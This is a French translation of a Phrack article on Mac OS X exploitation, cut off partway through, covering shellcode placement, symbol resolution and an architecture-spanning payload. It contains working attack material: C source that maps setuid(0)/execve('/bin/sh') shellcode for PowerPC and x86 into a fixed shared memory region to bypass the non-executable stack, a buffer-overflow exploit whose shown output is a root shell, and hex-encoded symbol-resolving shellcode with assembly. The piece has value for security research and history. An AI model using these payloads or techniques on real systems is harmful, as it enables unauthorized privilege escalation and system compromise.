Traduction du 01/03/2007, dernière relecture par misc le 26/01/2009.

Version txt


                             ==Phrack Inc.==

               Volume 0x0c, Issue 0x40, Phile #0x0b of 0x11


|=-----------------------------------------------------------------------=|
|=-------------------=[ Mac OS X wars - a XNU Hope ]=--------------------=|
|=-----------------------------------------------------------------------=|
|=-----------------------------------------------------------------------=|
|=-----------------=[            By nemo             ]=------------------=|
|=-----------------=[  ]=------------------=|
|=-----------------------------------------------------------------------=|
|=------------=[ Traduit par TboWan pour arsouyes.org ]=-----------------=|

--[ Sommaire

    1 - Introduction

    2 - Local shellcode maneuvering.
       2.1 Historical perspective 1: Aleph1
       2.2 Historical perspective 2: Radical Environmentalist
       2.3 Beating stack prot :P or whatever

    3 - Résoudre les symboles dans un shellcode

    4 - Architecture Spanning Shellcode

    5 - Écrire des shellcode noyau
       5.1 - Escalade locale de privilèges
       5.2 - Casser un chroot()
       5.3 -  Améliorations

    6 - Misc Rootkit Techniques

    7 - Infection de "Universal Binary format"

    8 - Exemple de cracking - Prey

    9 - Propagation passive de malware avec mDNS

    10 - Exploitation de Kernel Zone Allocator

    11 - Conclusion

    12 - Références

    13 - Annexes - Code


--[ 1 - Introduction

Ce papier a été écrit pour documenter mes recherches quand je jouais avec
les shellcodes pour Mac OS X. Cependant, pendant ce temps, ce papier s'est
transformé et a évolué pour couvrir une sélection de sujets relatifs à Mac
OS X qui vous feront, j'espère, une lecture intéressante.

À cause de la popularité grandissante de Mac OS X sur Intel dans des
plateformes PowerPC, je me suis principalement intéressé aux techniques
pour ces dernières. Beaucoup des concepts montrés sont toujours applicables
pour les architectures PowerPC, mais leur implémentation particulière est
laissée en exercice au lecteur.

Il y a déjà quelques documents biens écrits pour PowerPC et le langage
assembleur d'Intel ; je ne ferai donc aucune tentative d'essayer de vous
apprendre ces choses.

Si vous avez des suggestions sur comment raccourcir/éclaircir le code que
j'ai écrit pour ce papier, veuillez m'envoyer un email avec les détails à
l'adresse suivante :
nemo@felinemenace.org.

Un fichier tar contenant tout les codes référencés dans ce papier peut se
trouver en Annexe A.

--[ 2 - [Local shellcode maneuvering.]

Avec les années, il y a eu beaucoup de techniques différentes pour calculer
des adresses de retour valides quand on exploite un buffer overflow dans
des applications locales à notre système. Malheureusement, beaucoup de ces
techniques sont maintenant obsolètes sur les systèmes Mac OS X basés sur
Intel avec l'introduction d'une pile non exécutable dans la version 10.4
(Tiger).

Dans les sous-sections suivantes, je discuterai de quelques approches
historiques pour calculer l'adresse des shellcodes en mémoire et
introduirai une nouvelle méthode pour positionner un shellcode à un endroit
fixé dans l'espace d'adressage d'un processus cible vulnérable.

--[ 2.1 Historical perspective 1: Aleph1

Avec les années, il y a eu beaucoup de techniques différentes développées
pour calculer une adresse de retour valide quand on exploite un buffer
overflow sur une application locale à notre système. La plus connue de ces
technique est expliquée dans l'article "Smashing the Stack for Fun and
Profit" d'aleph1 [9]. Dans ce papier, aleph1 écrit simplement une petite
fonction get_sp() montrée juste ici :

	unsigned long get_sp(void) {
	   __asm__("movl %esp,%eax");
	}

Cette fonction retourne le pointeur de pile courant (esp). aleph1 se
déplace alors simplement par rapport à cette valeur, en essayant de toucher
le tampon de nops avant son shellcode sur la pile. Cette méthode n'est pas
aussi précise qu'elle pourrait, et nécessite au shellcode d'être stocké sur
la pile. C'est un problème évident si votre pile n'est pas exécutable.

--[ 2.2 Historical perspective 2: Radical Environmentalist

Une autre méthode pour stocker un shellcode et calculer son adresse dans un
autre processus est montrée par le papier Radical Environmentalist écrit
par le Netric Security Group [10].

Dans ce papier, les auteurs montrent que l'appel execve() permet un
contrôle total sur la pile du tout nouveau processus. Grâce à ça, le
shellcode peut être stocké dans une variable d'environnement, dont
l'adresse peut-être calculée comme un déplacement à partir du sommet de la
pile.

Dans les plus vieux exploit sous Mac OS X (avant 10.4), cette technique
marchait assez bien, puisqu'il n'y a pas de pile non-exécutable sous
PowerPC.

--[ 2.3 Beating stack prot :P or whatever

Dans le papier de KF "Non eXecutable Stack Loving on Mac OS X86" [11],
l'auteur montre une technique pour retirer la protection de la pile en
retournant dans mprotect() dans libSystem (lic) avant de retourner dans son
payload. Bien que cette technique soit très utile pour les exploits
distants, une solution plus élégante existe pour les exploitations locales.

La première étape pour avoir notre shellcode en place est de récupérer un
shellcode. Il y a déjà eu des travaux publiés significatifs dans ce
domaine. Si vous êtes intéressés sur la manière d'écrire un shellcode pour
Mac OS X à utiliser pour gagner des privilèges en local, une paire de
papier que vous devriez vraiment lire sont dans la bibliographie. [1] et
[8]. Le shellcode choisi pour le code en exemple est décrit en entier en
section 2 de ce papier.

La méthode que je propose maintenant se base sur un appel système Mac OS X
non documenté "shared_region_mapping_np". Cet appel système est utilisé à
l'exécution par le chargeur dynamique (dyld) pour mapper des librairies
fortement utilisée à travers les espaces d'adressages de tous les processus
du système ; cette fonctionnalité a beaucoup d'utilisation diaboliques.

Le fichier /usr/include/sys/syscalls.h contient le numéro d'appel système
pour tous les appels systèmes. Voici la bonne ligne dans ce fichier qui
contient notre appel système

	#define SYS_shared_region_map_file_np 299

Voici la signature de cet appel système :

	struct shared_region_map_file_np(
		int fd,
		uint32_t mappingCount,
		user_addr_t mappings, 
		user_addr_t slide_p 
	);

Les paramètres de cet appel sont très simples :

fd             un descripteur de fichier ouvert, fournissant un accès aux
               données qui doivent être chargées en mémoire.
mappingCount   le nombre de mappings que nous voulons faire à partir du
               fichier.
mappings       un pointeur vers un tableau de structures
               _shared_region_mapping_np qui décrivent chaque mapping
               (voir plus loin).
slide_p        détermine si l'appel système est autorisé à glisser sur les
               mapping à côté dans la zone mémoire partagée pour le faire
               rentrer.

Voici la définition de la structure pour les éléments du troisième
paramètre :

	struct _shared_region_mapping_np {
		mach_vm_address_t   	address;
		mach_vm_size_t      	size;
		mach_vm_offset_t    	file_offset;
		vm_prot_t               max_prot;  
		vm_prot_t               init_prot; 
	};

Les éléments de la structure ci-dessus peuvent être expliqué comme suit :

address        l'adresse dans la zone partagée où les données doivent être
               stockées.
size           la taille du mapping (en octets)
file_offset    l'offset [NDT : décalage] dans le descripteur de fichier
               auquel nous devons bouger pour atteindre le début des
               données.
max_prot       C'est la protection maximale du mapping, cette valeur est
               créée en faisant un ou logique entre
               VM_PROT_EXECUTE,VM_PROT_READ,VM_PROT_WRITE et VM_COW.
init_prot      C'est la protection initiale du mapping, encore une fois,
               elle est créée par un ou logique entre les valeurs
               mentionnée plus haut.

Les #define's suivants décrivent les régions partagées dans lesquelles on
peut mettre nos données. Ils montrent les différentes régions dans la plage
d'adresse 0x00000000->0xffffffff qui sont disponibles comme régions
partagées. Ces régions sont définies par leur adresse de début et leur
taille.

#define SHARED_LIBRARY_SERVER_SUPPORTED
#define GLOBAL_SHARED_TEXT_SEGMENT      0x90000000
#define GLOBAL_SHARED_DATA_SEGMENT      0xA0000000
#define GLOBAL_SHARED_SEGMENT_MASK      0xF0000000

#define SHARED_TEXT_REGION_SIZE         0x10000000
#define SHARED_DATA_REGION_SIZE         0x10000000
#define SHARED_ALTERNATE_LOAD_BASE      0x09000000

Pour réduire les chances que notre offset de shellcode soit stocké dans une
adresse qui ne contient pas d'octets NULL (rendant donc cette technique
viable pour les débordements basés sur les chaînes de caractère), nous
positionnons le shellcode à la dernière adresse dans une région où une page
(0x1000 octets) peut être mappée. En faisant comme ça, notre shellcode sera
stocké à une adresse du style 0x9ffffxxx.

Le code suivant peut être utilisé pour mapper un shellcode dans un endroit
fixé en ouvrant le fichier "/tmp/mapme" et en y écrivant notre shellcode.
Il utilise ensuite le descripteur de fichier pour appeler
"shared_region_map_file_np" qui mappera le code, ainsi qu'une paire d'int3
(cc) dans la région partagée.

/*--------------------------------------------------------
 * [ sharedcode.c ] 
 *
 * by nemo@felinemenace.org 2007
 */ 

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#define BASE_ADDR 0x9ffff000
#define PAGESIZE  0x1000
#define FILENAME  "/tmp/mapme"

char dual_sc[] =
"\x5f\x90\xeb\x60"

// setuid() seteuid()
"\x38\x00\x00\xb7\x38\x60\x00\x00"
"\x44\x00\x00\x02\x38\x00\x00\x17"
"\x38\x60\x00\x00\x44\x00\x00\x02"

// ppc execve() code by b-r00t
"\x7c\xa5\x2a\x79\x40\x82\xff\xfd"
"\x7d\x68\x02\xa6\x3b\xeb\x01\x70"
"\x39\x40\x01\x70\x39\x1f\xfe\xcf"
"\x7c\xa8\x29\xae\x38\x7f\xfe\xc8"
"\x90\x61\xff\xf8\x90\xa1\xff\xfc"
"\x38\x81\xff\xf8\x38\x0a\xfe\xcb"
"\x44\xff\xff\x02\x7c\xa3\x2b\x78"
"\x38\x0a\xfe\x91\x44\xff\xff\x02"
"\x2f\x62\x69\x6e\x2f\x73\x68\x58"

// seteuid(0);
"\x31\xc0\x50\xb0\xb7\x6a\x7f\xcd"
"\x80"
// setuid(0);
"\x31\xc0\x50\xb0\x17\x6a\x7f\xcd"
"\x80"
// x86 execve() code / nemo
"\x31\xc0\x50\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e\x89\xe3\x50"
"\x54\x54\x53\x53\xb0\x3b\xcd\x80";


struct _shared_region_mapping_np {
	mach_vm_address_t   	address;
	mach_vm_size_t      	size;
	mach_vm_offset_t    	file_offset;
	vm_prot_t               max_prot;   /* read/write/execute/COW/ZF */
	vm_prot_t               init_prot;  /* read/write/execute/COW/ZF */
};

int main(int argc,char **argv)
{
	int fd;
	struct _shared_region_mapping_np sr;
	char data[PAGESIZE] = { 0xcc };
	char *ptr = data + PAGESIZE - sizeof(dual_sc);
	
	sr.address     = BASE_ADDR;
	sr.size        = PAGESIZE;
	sr.file_offset = 0;
	sr.max_prot    = VM_PROT_EXECUTE | VM_PROT_READ | VM_PROT_WRITE;
	sr.init_prot   = VM_PROT_EXECUTE | VM_PROT_READ | VM_PROT_WRITE; 

	if((fd=open(FILENAME,O_RDWR|O_CREAT))==-1)
	{
		perror("open");
		exit(EXIT_FAILURE);
	}

	memcpy(ptr,dual_sc,sizeof(dual_sc));

	if(write(fd,data,PAGESIZE) != PAGESIZE)
	{
		perror("write");
		exit(EXIT_FAILURE);
	}

	if(syscall(SYS_shared_region_map_file_np,fd,1,&sr,NULL)==-1)
	{
		perror("shared_region_map_file_np");
		exit(EXIT_FAILURE);
	}

	close(fd);
	unlink(FILENAME);

	printf("[+] shellcode at: 0x%x.\n",sr.address + 
					   PAGESIZE - 
					   sizeof(dual_sc));

	exit(EXIT_SUCCESS);
}

/*---------------------------------------------------------*/

Quand nous compilons et exécutons ce code, il imprime l'adresse de notre
shellcode en mémoire. Vous pouvez le voir ci-dessous :

	-[nemo@fry:~/code]$ gcc sharedcode.c -o sharedcode
	-[nemo@fry:~/code]$ ./sharedcode 
	[+] shellcode at: 0x9fffff71.

Comme on peut le voir, l'adresse utilisée par notre shellcode est
0x9fffff71. Cette adresse, comme on s'en doutait, n'utilise pas l'octet 0.

Vous pouvez tester que la procédure s'est bien passée en lançant un
processus et en s'y connectant avec gdb.

En sautant à cette adresse avec la commande "jump" dans gdb, notre
shellcode est exécuté et un prompt bash est affiché.

	-[nemo@fry:~/code]$ gdb /usr/bin/id
	GNU gdb 6.3.50-20050815 (Apple version gdb-563) 
	(gdb) r
	Starting program: /usr/bin/id 
	^C[Switching to process 752 local thread 0xf03]
	0x8fe01010 in __dyld__dyld_start ()
	Quit
	(gdb) jump *0x9fffff71
	Continuing at 0x9fffff71.
	(gdb) c
	Continuing.
	-[nemo@fry:Users/nemo/code]$  

Pour vous montrer comment ça peut être utilisé dans un exploit, j'ai créé
un programme trivialement exploitable :

	/*
	 * exploitme.c
	 */ 
	int main(int ac, char  **av)
	{
		char buf[50] = { 0 };
		printf("%s",av[1]);

		if(ac == 2)
			strcpy(buf,av[1]);

		return 1;
	}

Voici l'exploit pour le programme ci-dessus : 

	/*
	 * [ exp.c ]
	 * nemo@felinemeance.org 2007
	 */

	#include 
	#include 

	#define VULNPROG "./exploitme"
	#define OFFSET 66  
	#define FIXEDADDR 0x9fffff71

	int main(int ac, char **av)
	{
		char evilbuff[OFFSET];
		char *args[] = {VULNPROG,evilbuff,NULL};
		char *env[]  = {"TERM=xterm",NULL};
		long *ptr = (long *)&(evilbuff[OFFSET - 4]);
		memset(evilbuff,'A',OFFSET);
		*ptr = FIXEDADDR;

		execve(*args,args,env);
		return 1;
	}

Comme vous pouvez le voir, nous remplissons le buffer avec des A, suivi de
notre adresse calculée par sharecode.c. Après le strcpy, notre adresse de
retour stockée sur la pile est écrasée par notre nouvelle adresse de retour
(0x9ffffff71) et notre shellcode est exécuté.

Si nous faisons un "chown root /exploitme; chmod +s /exploitme;" nous
pouvons voir que notre shellcode est mappé dans un processus suid, ce qui
rend cette technique faisable pour élever ses privilèges. Comme nous
contrôlons les protections mémoire sur notre mapping, nous contournons la
protection en non-exécution de la pile.

	-[nemo@fry:/]$ ./exp
	fry:/ root# id
	uid=0(root)

Un limitation de la technique est que le fichier que vous mappez dans une
région mémoire partagée doit exister sur le système de fichier racine.
C'est clairement expliqué dans le commentaire ci-dessous :

/*
 * The split library is not on the root filesystem.  We don't
 * want to pollute the system-wide ("default") shared region
 * with it.
 * Reject the mapping.  The caller (dyld) should "privatize"
 * (via shared_region_make_private()) the shared region and
 * try to establish the mapping privately for this process.
 */

 [ NDT : La librairie divisée n'est pas sur le système de fichier racine.
         Nous ne voulons pas polluer les régions partagées ("par
         défaut") de tout le système avec elle.
         Rejeter le mapping. L'appellant (dyld) devrait "privatiser"
         (via shared_region_make_private()) la région partagée et essayer
         d'établir le mapping de manière privée avec ce processus. ]
 */

Une autre limitation à cette technique est qu'Apple a verrouillé ce syscall
avec les lignes de code suivantes :

	 *
	 * This system call is for "dyld" only.
	 *

  [NDT : cet appel système est pour "dyld" uniquement. ]

Heureusement, nous pouvons écraser cette magnifique protection en...
l'ignorant complètement.


--[ 3 - Résoudre les symboles dans un shellcode

Dans cette section, je vais montrer une méthode qui peut être utilisée pour
résoudre l'adresse d'un symbole à partir d'un shellcode.

C'est utile dans une exploitation à distance quand vous voulez accéder ou
modifier quelques fonctionnalités du programme vulnérable. ça pourrait
aussi être utile pour appeler quelques fonctions dans une librairie
partagée particulière dans l'espace d'adressage.

Les exemples dans cette section sont écrit pour l'assembleur Intel, dans la
syntaxe nasm. Les concepts présentés peuvent facilement être recréés en
assembleur PowerPC. Si quelqu'un prend le temps de le faire, prévenez moi.

La méthode que je vais décrire nécessite quelques connaissances de base sur
le format d'objets Mach-O et sur la façon dont les symboles sont
stockés/résolus. J'essayerai d'être aussi verbeux que possible, cependant,
si plus de recherches sont nécessaires, allez voir les documents Mach-O
Runtime sur le site d'Apple [4].

Le processus pour résoudre les symboles que je vais décrire dans cette
section implique de localiser la section LINKEDIT en mémoire.

La section LINKEDIT est découpée en une table des symboles (symtab) et une
table de chaînes (strtab) comme suit :

      [ LINKEDIT SECTION ]

mémoire basse: 0x0
.________________________________,
|----(la symtab commence ici)----| 
|                  |
|                  |
|                  |
| ...                            |
|----(la strtab commence ici)----|
|"_mh_execute_header\0"          |
|"dyld_start\0"                  |
|"main"                          |
| ...                            |
:________________________________;
mémoire haute : 0xffffffff

En localisant le début de la table des chaînes et celui de la table des
symbole par rapport à l'adresse de la section LINKEDIT, il est possible de
faire des boucles dans chacune des structures nlist dans la table des
symboles et d'accéder aux chaînes appropriées dans la table des chaînes. Je
vais maintenant rentrer dans cette technique plus en détails.

Pour résoudre des symboles, nous commençons par localiser le mach_header en
mémoire. Ce sera le début de notre [mapped] dans l'image mach-o. Une
manière de le trouver est de lancer la commande "nm" sur notre binaire et
de localiser l'adresse du symbole __mh_execute_header.

Pour l'instant sous Mac OS X, l'exécutable est simplement mappé au début de
la première page. 0x1000.

Nous pouvons le vérifier de la manière suivante :

	-[nemo@fry:~]$ nm /bin/sh | grep mh_
	00001000 A __mh_execute_header

	(gdb) x/x 0x1000
	0x1000: 0xfeedface

Comme vous pouvez le voir, le nombre magique (0xfeedface) est en 0x1000.
C'est notre header mach-O. Sa structure est la suivante :

	struct mach_header 
	{ 
	    uint32_t magic; 
	    cpu_type_t cputype; 
	    cpu_subtype_t cpusubtype; 
	    uint32_t filetype; 
	    uint32_t ncmds; 
	    uint32_t sizeofcmds; 
	    uint32_t flags; 
	}; 

Dans mon shellcode, je suppose que le fichier que j'analyse a toujours une
section LINKEDIT et une commande de chargement de la table des symboles
(LC_SYMTAB). Ça signifie que je ne m'embête pas à analyser la structure
mach_header. Cependant, si vous ne voulez pas faire cette supposition, il
est assez facile de boucler ncmds nombre de fois en analysant la commande
de chargement.


Directement après la structure mach_header en mémoire, on trouve une paire
de load_command. Chacune d'entre elles commencent avec un champs id "cmd"
et la taille de la commande.

Donc, nous commençons notre shellcode en mettant dans ecx, l'adresse de la
première commande de chargement, directement après la structure mach-header
en mémoire. Ça nous positionne en 0x101c. Nous mettons alors à zéros
quelques registres pour les utiliser plus tard dans le code.

	;# null out some stuff (ebx,edx,eax)
        xor     ebx,ebx
	mul     ebx                            

	;# position ecx past the mach_header.
	xor	ecx,ecx
        mov     word cx,0x101c              

Pour la résolution des symboles, nous ne sommes intéressés qu'à la commande
LC_SEGMENT et LC_SYMTAB. En particulier, nous cherchons la structure
LC_SEGMENT de LINKEDIT. C'est expliqué plus en détails plus loin.

Les #define pour tout ceci sont dans /usr/include/mach-o/loader.h comme
suit :

	#define LC_SEGMENT      0x1     
		/* segment of this file to be mapped */
	#define LC_SYMTAB       0x2     
		/* link-edit stab symbol table info */

La commande LC_SYMTAB utilise la structure suivante :

	struct symtab_command 
	{ 
	    uint_32 cmd; 
	    uint_32 cmdsize; 
	    uint_32 symoff; 
	    uint_32 nsyms; 
	    uint_32 stroff; 
	    uint_32 strsize; 
	}; 

Le champ symoff contient l'offset à partir du début du fichier vers la
table des symboles. Le champ stroff contient l'offset vers la table des
chaînes. À la fois la table des symboles et celle des chaînes sont stockées
dans la section LINKEDIT.

En soustrayant symoff à stroff, nous obtenons l'offset dans la section
LINKEDIT dans laquelle lire nos chaînes. Le champ nsyms peut être utilisé
comme compteur de boucle quand on lit la symtab. Pour cet exemple, par
contre, j'ai supposé que le symbole existait et ignoré le champ nsyms
complètement.

Nous trouvons la commande LC_SYMTAB en bouclant simplement dedans et en
vérifiant que le champ "cmd" vaut 0x2.

La section LINKEDIT est un tout petit peu plus difficile à trouver, nous
devons chercher après une commande avec un type cmd à 0x01
(segment_command), et chercher après le nom "__LINKEDIT" dans le champ
segname de la structure. La structure segment_command est montrée ci-après
:

	struct segment_command 
	{ 
	    uint32_t cmd; 
	    uint32_t cmdsize; 
	    char segname[16]; 
	    uint32_t vmaddr; 
	    uint32_t vmsize; 
	    uint32_t fileoff; 
	    uint32_t filesize; 
	    vm_prot_t maxprot; 
	    vm_prot_t initprot; 
	    uint32_t nsects; 
	    uint32_t flags; 
	}; 

Je vais maintenant continuer par une explication du code assembleur utilisé
pour mettre en oeuvre cette technique.

J'ai utilisé une machine à état triviale pour boucler sur chaque
load_command jusqu'à ce qu'on ait trouvé la table des symboles et l'adresse
virtuelle de LINKEDIT.

D'abord, nous vérifions quel type de load_command et nous sautons vers le
code approprié, si c'est l'un des types dont nous avons besoin.

next_header:
	cmp     byte [ecx],0x2  ;# test pour LC_SYMTAB (0x2)
	je      found_lcsymtab

	cmp     byte [ecx],0x1  ;# test pour LC_SEGMENT (0x1)
	je      found_lcsegment

Les deux instructions suivantes ajoutent la longueur du champ de la
load_command à notre pointeur. Ceci nous positionne sur le champ "cmd" de
la prochaine load_command en mémoire. Nous retournons à next_header et
continuons les comparaisons.

next:   
	add     ecx,[ecx + 0x4]   ;# ecx += length 
	jmp     next_header

Le code de found_lcsymtab est appelé quand cmd == 0x02. Nous faisons la
supposition qu'il n'y a qu'une seule LC_SYMTAB. Nous pouvons utiliser le
fait que si nous sommes là, eax n'a pas encore été mis et vaut 0. En le
comparant avec edx nous pouvons voir si le segment LINKEDIT a été trouvé.
Après le cmp, nous mettons eax à jour avec l'adresse trouvée, nous sautons
au code "found_both", sinon, nous continuons avec next_handler.

found_lcsymtab:
	cmp     eax,edx    ;# utilise le fait qu'eax vaut 0 pour tester edx
	mov     eax,ecx    ;# met le pointeur courant dans eax.
	jne     found_both ;# Nous avons trouvé LINKEDIT et LC_SYMTAB
	jmp     next       ;# continue la recherche après LINKEDIT

Le code found_lcsegment est très similaire à found_lcsymtab. Cependant,
puisqu'il y a beaucoup de commandes LC_SEGMENT dans la plupart des
fichiers, nous devons être sûr d'avoir bien trouvé la section __LINKEDIT.

Pour le faire, nous ajoutons 8 au pointeur de la structure pour récupérer
la chaîne segname[]. Nous sautons alors deux caractères, pour éviter "__"
et testons les 4 octets suivants ; "LINK". 0x4b4e494c vient du codage
(big/little indian). Encore une fois, nous utilisons le fait qu'il ne
devrait y avoir qu'une seule section LINKEDIT. Ceci veut dire que si nous
avons passé le test de "LINK", edx vaut 0. Nous l'utilisons pour tester eax,
pour voir si la commande LC_SYMTAB a été trouvée. Encore une fois, si nous
avons fini, nous sautons à found_both, sinon, nous continuons avec
next_header.

found_lcsegment:
	lea     esi,[ecx + 0x8] ;# récupère le pointeur vers le nom
	;# test for "LINK"
	cmp     long [esi + 0x2],0x4b4e494c     
	jne     next            ;# ce n'est pas LINKEDIT, on passe !
	cmp     edx,eax         ;# utilise edx pour tester eax
	mov     edx,ecx         ;# met l'adresse courante dans edx
	jne     found_both      ;# ok, c'est bon
	jmp     next            ;# on doit encore trouver LC_SYMTAB
				;# on continue
				;# EDX = structure LINKEDIT
				;# EAX = structure LC_SYMTAB

Maintenant que nous avons nos pointeurs vers LINKEDIT et LC_SYMTAB, on peut
soustraire symtab_command.symoff de symtab_command.stroff pour avoir
l'offset de la table des chaînes à partir du début de LINKEDIT. En ajoutant
cet offset à l'adresse virtuelle de LINKEDIT, nous obtenons l'adresse
virtuelle de la table des chaînes en mémoire.

found_both:
        mov     edi,[eax + 0x10]       ;# EDI = stroff
        sub     edi,[eax + 0x8]        ;# EDI -= symoff
        mov     esi,[edx + 0x18]       ;# esi = VA of linkedit
        add     edi,esi                ;# ajoute l'adresse virtuelle de
                                       ;# LINKEDIT à l'offset

La section LINKEDIT contient une liste de structures "struct nlist".
Chacune correspond à un symbole. Le premier union contient un offset dans
la table des chaînes (pour lequel nous avons la VA). Pour trouver le
symbole que nous voulons, nous parcourons simplement le tableau et
rebondissons dans la table des chaînes pour tester la chaîne.

	struct nlist 
	{ 
	    union { 
	    #ifndef __LP64__ 
		char *n_name; 
	    #endif 
		int32_t n_strx; 
	    } n_un; 
	    uint8_t n_type; 
	    uint8_t n_sect; 
	    int16_t n_desc; 
	    uint32_t n_value; 
	}; 

Maintenant que nous sommes capables de parcourir les structures nlist, nous
pouvons continuer. Cependant, ça n'a aucun sens de stocker le nom complet
du symbole dans notre shellcode, car ça rendrait le code encore plus grand
qu'il ne l'est déjà. ;/

J'ai choisi de voler^H^H^H^H^Hutiliser la fonction "compute_hash" de skape
disponible dans "Understanding Windows Shellcode" [5]. Il y explique
comment le code fonctionne dans son papier.

Le code suivant montre une simple boucle. D'abord, nous sautons à
l'étiquette "hashes", et appelons le point de départ pour avoir un pointeur
vers notre liste de hash. Nous lisons le premier hash, et bouclons sur
chaque structure nlist, hashons le symbole trouvé et le comparons à nos
hashs précalulés.

Si le hash n'est pas bon, nous retournons à check_next_hash, cependant, si
c'est le bon, nous continuons avec l'étiquette "done".

;# esi == constant pointer to nlist
;# edi == strtab base

lookup_symbol:
        jmp     hashes
lookup_symbol_up:
        pop     ecx
        mov     ecx,[ecx]           ;# ecx = premier hash
check_next_hash:
        push    esi                 ;# sauvegarde le pointeur nlist
        push    edi                 ;# sauvegarde la VA de strtable
        mov     esi,[esi]           ;# *esi = offset depuis strtab vers la
chaine
        add     esi,edi             ;# ajoute la VA à strtab
compute_hash:
        xor edi, edi
        xor eax, eax
        cld
compute_hash_again:
        lodsb
        test al, al                 ;# est-on sur le dernier octet ?
        jz compute_hash_finished
        ror edi, 0xd
        add edi, eax
        jmp compute_hash_again
compute_hash_finished:
        cmp     edi,ecx
        pop     edi
        pop     esi
        je      done
        lea     esi,[esi + 0xc]     ;# Ajoute sizeof(struct nlist)
        jmp     check_next_hash
done:   

chaque hash que nous devons résoudre peut être ajouté après l'étiquette
hashes.

                                                ;# le hash est dans edi
hashes: 
        call    lookup_symbol_up
        dd	0x8bd2d84d

Maintenant que nous avons l'adresse de notre symbole, nous avons fini et
pouvons appeler notre fonction, ou la modifier suivant ce qu'on a besoin.

Pour calculer le hash du symbole dont on a besoin, j'ai copié/collé un peu
du code de skape dans un petit programme c, le voici :

	#include 
	#include 

	char chsc[] = 
	"\x89\xe5\x51\x60\x8b\x75\x04\x31"
	"\xff\x31\xc0\xfc\xac\x84\xc0\x74"
	"\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4"
	"\x89\x7d\xfc\x61\x58\x89\xec\xc3";

	int main(int ac, char **av)
	{
		long (*hashstr)() = (long (*)())chsc;

		if(ac != 2) {
			fprintf(stderr,"[!] usage: %s \n",*av);
			exit(1);
		}

		printf("[+] Hash: 0x%x\n",hashstr(av[1]));

		return 0;
	}

Nous pouvons le lancer comme montré ci-après pour générer nos hashs :

-[nemo@fry:~/code/kernelsc]$ ./comphash _do_payload
[+] Hash: 0x8bd2d84d

Si le symbole que nous avons résolu est une fonction que nous voulons
appeler, nous avons encore besoin de faire quelques petites choses avant
que ça soit possible.

L'éditeur de lien de Mac OS X, par défaut, utilise du [lazy binding] pour
les symboles externes. Ça veut dire que si vous tentez d'appeler une autre
fonction dans une librairie externe, qui n'a pas encore été appelée ailleurs
dans le programme, l'éditeur de lien dynamique va essayer de résoudre
l'adresse tel que vous l'avez appelé.

Par exemple, un appel à execve() avec un [lazy binding] va être remplacé
par un appel à dyld_stub_execve() comme montré ci-après :

0x1f54 : call   0x301b 

À l'exécution, cette fonction contient une instruction :

call   0x8fe12f70 <__dyld_fast_stub_binding_helper_interface>

Ceci invoque le dyld qui résout le symbole et remplace cette instruction
avec un jmp au bon endroit :

jmp    0x9003b7d0 

Le seul problème que ça génère est que cette fonction requiert que le
pointeur de pile soit correctement aligné, sinon, notre code va échouer.

Pour le faire, nous soustrayons simplement 0xc à notre pointeur de pile
avant d'appeler notre fonction.

Note :
	Ceci ne sera pas nécessaire si le programme que vous exploitez a
été compilé avec le flag -bind-at-load.

Voici le code que j'ai utilisé pour faire un appel.

done:   
        mov     eax,[esi + 0x8] ;# eax == value
        xchg esp,edx            ;# ennuyeusement large
        sub dl,0xc              ;# façon d'aligner le pointeur de pile
        xchg esp,edx            ;# sans avoir d'octet 0
        call    eax
        xchg esp,edx            ;# ennuyeusement large
        add dl,0xc              ;# manière de placer le pointeur de pile
        xchg esp,edx            ;# sans avoir d'octet 0.
        ret

J'ai écrit un simple programme d'exemple en C pour montrer ce code en
action.

Le code suivant n'a aucun appel vers do_payload(). Le shellcode va résoudre
l'adresse de cette fonction et l'appeler.

#include 
#include 

char symresolve[] =
"\x31\xdb\xf7\xe3\x31\xc9\x66\xb9\x1c\x10\x80\x39\x02\x74\x0a\x80"
"\x39\x01\x74\x0d\x03\x49\x04\xeb\xf1\x39\xd0\x89\xc8\x75\x16\xeb"
"\xf3\x8d\x71\x08\x81\x7e\x02\x4c\x49\x4e\x4b\x75\xe7\x39\xc2\x89"
"\xca\x75\x02\xeb\xdf\x8b\x78\x10\x2b\x78\x08\x8b\x72\x18\x01\xf7"
"\xeb\x39\x59\x8b\x09\x56\x57\x8b\x36\x01\xfe\x31\xff\x31\xc0\xfc"
"\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x39\xcf\x5f\x5e"
"\x74\x05\x8d\x76\x0c\xeb\xde\x8b\x46\x08\x87\xe2\x80\xea\x0c\x87"
"\xe2\xff\xd0\x87\xe2\x80\xc2\x0c\x87\xe2\xc3\xe8\xc2\xff\xff\xff"
"\x4d\xd8\xd2\x8b"; // HASH

void do_payload()
{
        char *args[] = {"/usr/bin/id",NULL};
        char *env[]  = {"TERM=xterm",NULL};
        printf("[+] Executing id.\n");
        execve(*args,args,env);
}

int main(int ac, char **av)
{
        void (*fp)() = (void (*)())symresolve;
        fp();
        return 0;
}

Comme vous pouvez le voir juste après, ce code fonctionne tel qu'on s'y
attend.

-[nemo@fry:~]$ ./testsymbols 
[+] Executing id.
uid=501(nemo) gid=501(nemo) groups=501(nemo)

Le code assembleur complet pour la méthode montrée dans cette section est
disponible en annexe de ce papier.

À la base, j'ai travaillé sur cette méthode pour résoudre les symboles
noyaux.

Malheureusement, le noyau libére la section LINKEDIT après
avoir démarré. Avant de le faire, il écrit le fichier mach-o /mach.sym
contenant les informations des symboles pour le noyau.

Si vous voyez le flag de démarrage keepsym, la section LINKEDIT ne sera pas
libérée et les symboles resteront dans la mémoire du noyau.

Dans ce cas, nous pouvons utiliser le code montré dans cette section, et
scanner simplement la mémoire à partir de l'adresse 0x1000 jusqu'à ce que
nous trouvions 0xfeedface. Voici le code assembleur pour le faire :

SECTION .text
_main:
        xor     eax,eax
        inc     eax
        shl     eax,0xc         ;# eax = 0x1000
        mov     ebx,0xfeedface  ;# ebx = 0xfeedface
up:
        inc     eax
        inc     eax
        inc     eax
        inc     eax             ;# eax += 4
        cmp     ebx,[eax]       ;# if(*eax != ebx) {
        jnz     up              ;#      goto up }
        ret

Une fois que c'est fait, nous pouvons résoudre les symboles comme on en
a besoin.

--[ 4 - Architecture Spanning Shellcode

Depuis le changement d'architecture de PowerPC vers Intel, il est de plus
en plus habituel de trouver à la fois des Mac OS X sur des Mac PowerPC
d'autres sur Intel. Au dessus de ça, Mac OS X vient avec une technologie de
